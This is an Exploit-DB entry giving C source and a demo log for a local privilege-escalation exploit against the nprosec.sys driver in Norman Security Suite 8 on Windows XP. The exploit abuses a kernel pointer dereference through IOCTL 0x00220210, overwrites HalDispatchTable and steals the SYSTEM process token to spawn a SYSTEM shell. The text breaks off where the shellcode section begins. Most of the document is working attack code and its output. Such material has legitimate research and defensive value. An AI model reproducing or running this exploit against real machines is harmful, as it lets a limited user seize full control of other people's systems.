Exploit-DB #17902
Description: Norman Security Suite 8 - 'nprosec.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2011-09-28
Author: Xst3nZ

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <tchar.h>

/*

Discovered by  : Xst3nZ (Jérémy Brun-Nouvion)


----[ Software ]-------------------------------------------------------------------------

Program        : Norman Security Suite 8
Official page  : http://www.norman.com/products/security_suite/en
Description    : "This easy-to-use software will protect you from inappropriate content, 
                  rootkits and other hostile activity, whether you are using online 
                  banking, chatting, emailing, playing games or just surfing the net."
		  This suite contains: Intrusion Guards, Privacy Tools, 
	          Norman Scanner Engine, Personal Firewall, Antivirus
Certified by   : OPSWAT


----[ Vulnerability ]--------------------------------------------------------------------

Discovery        : 2011-09-26
Description      : The driver "nprosec.sys" is vulnerable to a kernel pointer dereferencement.
                   This vulnerability allows an attacker with a local access to the machine 
		   to escalate his privilege, that is to say to gain SYSTEM privileges from 
		   a limited account.
Affected IOCTL   : 0x00220210

Status           : 0day
Vendor contacted : 2011-09-28


----[ Contact ]--------------------------------------------------------------------------

Mail           : xst3nz (at) gmail (dot) com
Twitter        : @Xst3nZ
Personal Blog  : http://poppopret.blogspot.com


----[ Exploitation PoC ]-----------------------------------------------------------------

Tested on      : Windows XP SP3 (offsets may be changed for other versions)
Demo           :

[~] Open an handle to the driver \\.\nprosec ...
[+] Handle: 000007E8
[~] Retrieve Kernel address of HalDispatchTable ...
[+] HalDispatchTable+4 (0x8054593c) will be overwritten
[~] Map executable memory 0x00000000 - 0x0000FFFF ...
[~] Put the Shellcode to steal System process Token @ 0x00005000
[~] Update Shellcode with PID of the current process ...
[+] Shellcode updated with PID = 3604

[~] Ready ? Press any key to send IOCTL (0x00220210) with payload...
[+] IOCTL sent !
[~] Launch the shellcode ...
[+] Okay... System Token should be stolen, let's spawn a SYSTEM shell :)


----[ GreetZ ]---------------------------------------------------------------------------

Heurs

*/


typedef struct {
    PVOID   Unknown1;
    PVOID   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
  SystemModuleInformation = 11,
  SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
   SYSTEM_INFORMATION_CLASS SystemInformationClass,
   PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength
);
typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
typedef NTSTATUS (__stdcall *_NtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress,
													   ULONG_PTR ZeroBits, PSIZE_T RegionSize,
													   ULONG AllocationType, ULONG Protect);


ULONG_PTR HalDispatchTable;
SYSTEM_INFO GlobalInfo;


// Retrieve the real kernel address of a given symbol -----------------------------------
FARPROC GetKernAddress(HMODULE UserKernBase, PVOID RealKernelBase, LPCSTR SymName) {
	PUCHAR KernBaseTemp 	= (PUCHAR)UserKernBase;
	PUCHAR RealKernBaseTemp = (PUCHAR)RealKernelBase;
	PUCHAR temp = (PUCHAR)GetProcAddress(UserKernBase, SymName);
	if(temp == NULL)
		return NULL;
		
	return (FARPROC)(temp - KernBaseTemp + RealKernBaseTemp);
}

// Retrieve kernel address of HalDispatchTable ------------------------------------------
BOOL LoadAndGetKernelBase() {
	CHAR kFullName[256];
	PVOID kBase=NULL;
	LPSTR kName;
	HMODULE NTosHandle;
	_NtQuerySystemInformation NtQuerySystemInformation;
	PSYSTEM_MODULE_INFORMATION pModuleInfo;
	ULONG len;
	NTSTATUS ret;
	HMODULE ntdllHandle;

	ntdllHandle = GetModuleHandle((LPCTSTR)"ntdll");
	if(!ntdllHandle) {
		return FALSE;
	}

	NtQuerySystemInformation =  (_NtQuerySystemInformation)GetProcAddress(ntdllHandle, 
	                            "NtQuerySystemInformation");
	if(!NtQuerySystemInformation) {
		return FALSE;
	}
		
	ret = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	if(!ret) {
		return FALSE;
	}
		
	pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
	ret = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
	
	memset(kFullName, 0x00, sizeof(kFullName));
	strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
	kBase = pModuleInfo->Module[0].Base;

	kName = strrchr(kFullName, '\\');
	NTosHandle = LoadLibraryA(++kName);

	if(NTosHandle == NULL) {
		return FALSE;
	}
	
	HalDispatchTable = (ULONG_PTR)GetKernAddress(NTosHandle, kBase, "HalDispatchTable");
	if(!HalDispatchTable)
		return FALSE;

	return TRUE;
}

// Create a child process ---------------------------------------------------------------
BOOL CreateChild(PWCHAR Child) {

    PROCESS_INFORMATION pi;
	  STARTUPINFO si;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    if (!CreateProcess(Child, Child, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
        return FALSE;

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}


// Shellcode used to steal the Access Token of the System process (PID=4) ---------------
/*

shellcode:

; ---------------------------